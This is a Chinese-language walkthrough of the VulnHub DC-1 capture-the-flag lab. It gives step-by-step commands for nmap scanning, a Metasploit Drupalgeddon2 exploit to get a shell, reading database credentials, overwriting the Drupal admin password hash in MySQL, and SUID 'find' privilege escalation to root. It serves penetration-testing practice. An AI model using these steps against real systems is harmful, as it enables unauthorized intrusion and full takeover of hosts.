一、环境搭建
1、官网下载连接:https://www.vulnhub.com/entry/dc-1,292/
2、下载之后,使用Oracle VM VirtualBox导入靶场环境
3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可
二、靶场攻略
1、使用nmap,快读探测网段内存活主机,输入命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,发现靶场主机ip地址
2、探测靶场主机启动的端口服务器情况,寻找突破口
输入命令:nmap -A -P- 10.10.114.146,发现开启的端口有22,80,111,33409
3、访问80端口,寻找突破口,发现靶场使用的为Drupal的CMS
4、启动msf,在msf中输入命令:search Drupal,搜索到了利用的exp
输入命令:use exploit/unix/webapp/drupal_drupalgeddon2,使用该exp
输入命令:set rhosts 10.10.114.146,设置目标
输入命令:run,启动攻击,成功getshell
输入命令:python -c 'import pty;pty.spawn("/bin/bash")',获取交互shell
5、在www目录中,发现flag1.txt,还有下一步的提示
6、根据提示,寻找到配置文件,还有flag2,获得下一步提示
7、根据配置文件和提示,登录到数据库中,寻找下一步突破口
输入命令:mysql -udbuser -pR0ck3t
进入到配置文件中的数据库drupaldb中,查看drupaldb数据库的表,获得users表
获得users表中的账号密码信息
8、密码是没法破解成功的,搜寻资料,知道了Drupal的加密脚本在文件中,所以可以使用加密文件,将自己想要的密码使用加密文件加密,之后将加密的字符写入到对于的数据表中来登录
重置密码的方法
根据官网的方法使用命令:./scripts/password-hash.sh admin,获得到加密的字符
然后将得到的加密字符,写入到mysql数据库对于的admin账户中
在mysql数据库中输入命令:update users set pass='$S$DROGKHBo1wFwcVZI7HBpIaxVUGKsUx3ktf6Zn4aqCzZueCiJHHmN' where uid=1;
使用修改后的admin管理员,成功登录后台
9、在后台的Dashboard(仪表盘)处,发现flag3
10、返回shell中,寻找flag4,查看到下一步提醒,要获得最后的flag,需要root权限
11、进行最后的提权,之前find命令既然可以执行,可以尝试find提权
输入命令:find / -user root -perm -4000 -print 2>/dev/null
输入命令:find / -perm -u=s -type f 2>/dev/null
输入命令:find / -user root -perm -4000 -exec ls -ldb {} ;
发现这几个命令都可以正常执行
既然都可以正常执行,说明存在find的uid提权操作
切换到可写目录www中
输入命令:touch shell
之后输入命令:find -name shell -exec "/bin/sh" ; 成功提权,之后切换到/root目录中,获得最后的flag文件
完